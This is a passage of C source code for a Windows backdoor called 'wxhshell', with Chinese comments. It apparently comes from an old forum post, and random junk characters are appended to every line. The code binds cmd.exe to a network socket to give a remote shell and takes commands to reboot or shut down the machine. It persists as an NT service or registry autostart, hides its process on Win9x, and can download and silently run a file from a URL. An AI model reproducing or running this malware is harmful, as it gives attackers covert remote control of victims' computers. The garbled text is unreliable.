  // 帮助 $0-}|u]5U  
  case '?': { I "8:IF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2&e2/KEWR  
    break; k`j>lhH  
  } *qX!  
  // 安装 4$5d*7  
  case 'i': { 9/8#e+L  
    if(Install()) a&sVcsX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n]G_# ;  
    else <yoCW?#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V`ODX>\  
    break; U{ZE|b. ?b  
    } C."\ a_p  
  // 卸载 2H/{OQ$  
  case 'r': { |4rqj 1*U  
    if(Uninstall()) \)i,`bz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H'}6Mw%ra  
    else \V T.bUs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yof8LWXx  
    break; d:{}0hmxI  
    } "V`5 $ur  
  // 显示 wxhshell 所在路径 oSLm?Lu  
  case 'p': { -z">ov-)  
    char svExeFile[MAX_PATH]; (0["|h32,  
    strcpy(svExeFile,"\n\r"); .'b| pd  
      strcat(svExeFile,ExeFile); Jwpc8MQ  
        send(wsh,svExeFile,strlen(svExeFile),0); ajW2HH*9}A  
    break; KNjU!Z/4  
    } zEt!Pug  
  // 重启 6+4SMf3  
  case 'b': { #^{%jlmHxJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L_q3m-x0h  
    if(Boot(REBOOT)) 9.BgsV .  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .'NTy R  
    else { QUDpAW  
    closesocket(wsh); 8$ u"92  
    ExitThread(0); ^F+7<$ 2  
    } =#S.t:HQ*  
    break; "U-jZ5o"  
    } ~ $g:  
  // 关机 I1U2wD  
  case 'd': { gYc]z5`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \MOwp@|y  
    if(Boot(SHUTDOWN)) *c94'Tcl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hxO}'`:  
    else { kOYUxr.b  
    closesocket(wsh); f2i:I1 p("  
    ExitThread(0); 4I$Y(E}  
    } BNu >/zGpB  
    break; -zR<m  
    } zfeT>S+  
  // 获取shell _v,0"_"  
  case 's': { lK0ny>RB  
    CmdShell(wsh); Lgg,K//g  
    closesocket(wsh); xh;V4zK@`  
    ExitThread(0); 5?kfE  
    break; 4Z"}W!A  
  } Zse&{  
  // 退出 UerbNz|  
  case 'x': { i+Z)`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R6+)&:Ab{R  
    CloseIt(wsh); 95l)s],  
    break; +[7~:e}DZ  
    } :.5l  
  // 离开 Bf*>q*%B{  
  case 'q': { Zkd{EMW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); JjS+'A$A5  
    closesocket(wsh); N_T5sZ\  
    WSACleanup(); cp@Fj"  
    exit(1);  ?CAU+/  
    break; x{:U$[_  
        } Z oXz@/T  
  } {J==y;dK  
  } Y]([K.I=  
zhw*Bed<  
  // 提示信息 w||t3!M+n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *|=D 0  
} 2?~nA2+vm  
  } ,LA'^I?  
hH`x*:Qja  
  return; nNCR5&,q  
} |3FI\F;^q  
LWM<[8wJ4  
// shell模块句柄 |<c9ZS+  
int CmdShell(SOCKET sock) XKTDBaON  
{ P7-k!p"  
STARTUPINFO si; y8$3kXh  
ZeroMemory(&si,sizeof(si)); 9Rk(q4.OP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z[f]mU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?V2P]|  
PROCESS_INFORMATION ProcessInfo; J,Ki2'=  
char cmdline[]="cmd"; Z)|~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?r !kKMZ  
  return 0; >2s6Y  
} b;VIR,2  
SPV+ O{  
// 自身启动模式 a Y)vi$;]  
int StartFromService(void) +1wEoU.l2  
{ n=-vOa%  
typedef struct <ci(5M  
{ 6{5T^^x?<  
  DWORD ExitStatus; K ar!  
  DWORD PebBaseAddress; fcdXj_u  
  DWORD AffinityMask; d9JAt-6z2  
  DWORD BasePriority; C+/EPPi  
  ULONG UniqueProcessId; p^Ey6,!8]D  
  ULONG InheritedFromUniqueProcessId; Oey Ph9^V  
}   PROCESS_BASIC_INFORMATION; <zqIq9}r  
(.$$U3\  
PROCNTQSIP NtQueryInformationProcess; jlb8<xIC]  
M;XU"8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; # fF5O2E'3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Vb? wwx7=  
J ?{sTj"KB  
  HANDLE             hProcess; }N9PV/a  
  PROCESS_BASIC_INFORMATION pbi; jkl dr@t  
$z OV*O2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O_ r-(wE4  
  if(NULL == hInst ) return 0; NCg("n,jx  
+ase>'<N#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NdJ]\>5oN,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M5*Ln-qt(a  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5 xr2  
I8i|tQz  
  if (!NtQueryInformationProcess) return 0; @B0fRG y  
}{:Jj/d p  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4%}iKoT   
  if(!hProcess) return 0; '\QJ{/JV  
MA{ZmPm)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \=RV?mI3?  
I RLAsb3  
  CloseHandle(hProcess); xTG5VBv  
'xuxMav6m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V,zFHXO  
if(hProcess==NULL) return 0; on hLhrZ  
;|\j][A  
HMODULE hMod; V9KRA 1  
char procName[255]; Z!q$d/1  
unsigned long cbNeeded; dM}c-=w`  
pQZ`dS\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @(6P L^I  
t0<RtIh9e  
  CloseHandle(hProcess); ?1|\(W#  
|pknaz  
if(strstr(procName,"services")) return 1; // 以服务启动 KWYjN h#*  
~mHrgxQ-  
  return 0; // 注册表启动 xA;)02   
} Kl?C[  
6[FXgCb  
// 主模块 `)8S Ix  
int StartWxhshell(LPSTR lpCmdLine) 8YPX8d8u  
{ .LM|@OeaD!  
  SOCKET wsl; \ %xku:  
BOOL val=TRUE; mDt!b6N/  
  int port=0; Dm?:j9o]g  
  struct sockaddr_in door; b5~p:f-&4B  
.i;?8?  
  if(wscfg.ws_autoins) Install(); Bs '=YK$  
O<AGAD  
port=atoi(lpCmdLine); $Ups9pQ  
`Y!8,( 5#  
if(port<=0) port=wscfg.ws_port; H7drDw  
av'[k<  
  WSADATA data; [Tvdchl OC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G ` eU   
c<Ud[x.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gLFSZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '19?  
  door.sin_family = AF_INET; SEWdhthP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U.Z5;E0:  
  door.sin_port = htons(port); ;i [;%  
rNm_w>bq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hq&9S{Ep  
closesocket(wsl); >%N,F`^3  
return 1; Ofb&W AD  
} pFBK'NE  
!4z vkJO  
  if(listen(wsl,2) == INVALID_SOCKET) { Hkf]=kPy*  
closesocket(wsl); ,CBE&g  
return 1; _Wp.s]D [  
} +T,0,^ *  
  Wxhshell(wsl); !X[7m  
  WSACleanup(); eT2Tg5Etc  
bq8h?Q  
return 0; kf95)iLo  
JPZH%#E(  
} F{ C2% s#  
S*76V"")  
// 以NT服务方式启动 wq8&2(|Fc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4)XB3$<  
{ s._,IW;   
DWORD   status = 0; L{XW2c$h  
  DWORD   specificError = 0xfffffff; q}z`Z/`/  
.E7"Lfs-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =L?2[a$2;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; YB:}L b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g<$2#c}  
  serviceStatus.dwWin32ExitCode     = 0; 5Z:qU{[  
  serviceStatus.dwServiceSpecificExitCode = 0; g`2O h5dA  
  serviceStatus.dwCheckPoint       = 0; ^/}&z  
  serviceStatus.dwWaitHint       = 0; ;R@D  
mwZ) PySm)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F]0 qt$GO  
  if (hServiceStatusHandle==0) return; lO0}  
-I;\9r+  
status = GetLastError(); 5-&"nn2*}1  
  if (status!=NO_ERROR) P%!=Rj^2m  
{ xm=$D6O:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "];@N!dA  
    serviceStatus.dwCheckPoint       = 0; i;juwc^n}  
    serviceStatus.dwWaitHint       = 0; wAL}c(EHO  
    serviceStatus.dwWin32ExitCode     = status; g^\!> i  
    serviceStatus.dwServiceSpecificExitCode = specificError; )dJx82" l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k7cY^&o  
    return; M[Nv>  
  } 6V#EEb  
iHvWJ<"jR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {9^p3Q+:P  
  serviceStatus.dwCheckPoint       = 0; Nd{U|k3pL  
  serviceStatus.dwWaitHint       = 0; @tm2Y%Y!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q*&H  
} ]j>xQm\  
+ m-88  
// 处理NT服务事件,比如:启动、停止 k37?NoT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;O`f+rG~  
{ #U`AK9rP_g  
switch(fdwControl) piM4grg \  
{ Hvk~BP' m  
case SERVICE_CONTROL_STOP: TS6xF?  
  serviceStatus.dwWin32ExitCode = 0; DfAF-Yhut  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )\u%XFPhS  
  serviceStatus.dwCheckPoint   = 0; ({t^/b*8  
  serviceStatus.dwWaitHint     = 0; K^fs #7  
  { M@{?#MkS%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R %RbC!P  
  }  N~$>| gn  
  return; #9|&;C5',!  
case SERVICE_CONTROL_PAUSE:  wkZwtq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {FvFah  
  break; pmB {b  
case SERVICE_CONTROL_CONTINUE: Bp7p X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #[=kQ&  
  break; &B(z**+9  
case SERVICE_CONTROL_INTERROGATE: n5d8^c!2  
  break; SDC|>e9i  
}; 1}\p:`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7zw0 g~+  
} 8S8qj"s  
I9qZE=i  
// 标准应用程序主函数 h s',f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T)I)r239h  
{ !} h) |  
;"Gy5  
// 获取操作系统版本 \"ahs7ABT  
OsIsNt=GetOsVer(); \o[][R#D  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F@Sk=l(  
j<(E %KN3  
  // 从命令行安装 phu,&DS!  
  if(strpbrk(lpCmdLine,"iI")) Install(); sn:VMHrOT  
-b^dK)wR~  
  // 下载执行文件 7/~=[#]*  
if(wscfg.ws_downexe) { |-V:#1wR.]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j<kW+Iio  
  WinExec(wscfg.ws_filenam,SW_HIDE); s_y8+BJaV  
} o.!o4&W H  
&'fER-  
if(!OsIsNt) { -O$vJ,*  
// 如果时win9x,隐藏进程并且设置为注册表启动 P0}B&B/a:  
HideProc(); .@)vJtH)  
StartWxhshell(lpCmdLine); n{TWdC  
} PI*@.kqR-  
else O;RBK&P  
  if(StartFromService()) 4q]6[/  
  // 以服务方式启动 ![B|Nxq}@  
  StartServiceCtrlDispatcher(DispatchTable); 2|bt"y-5r  
else 5vLXMdN  
  // 普通方式启动 .4v?/t1  
  StartWxhshell(lpCmdLine); eaf-_#qb  
5?$MZaT  
return 0; |^Y"*Y4*h  
}
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只看该作者 1 发表于: 2006-10-10
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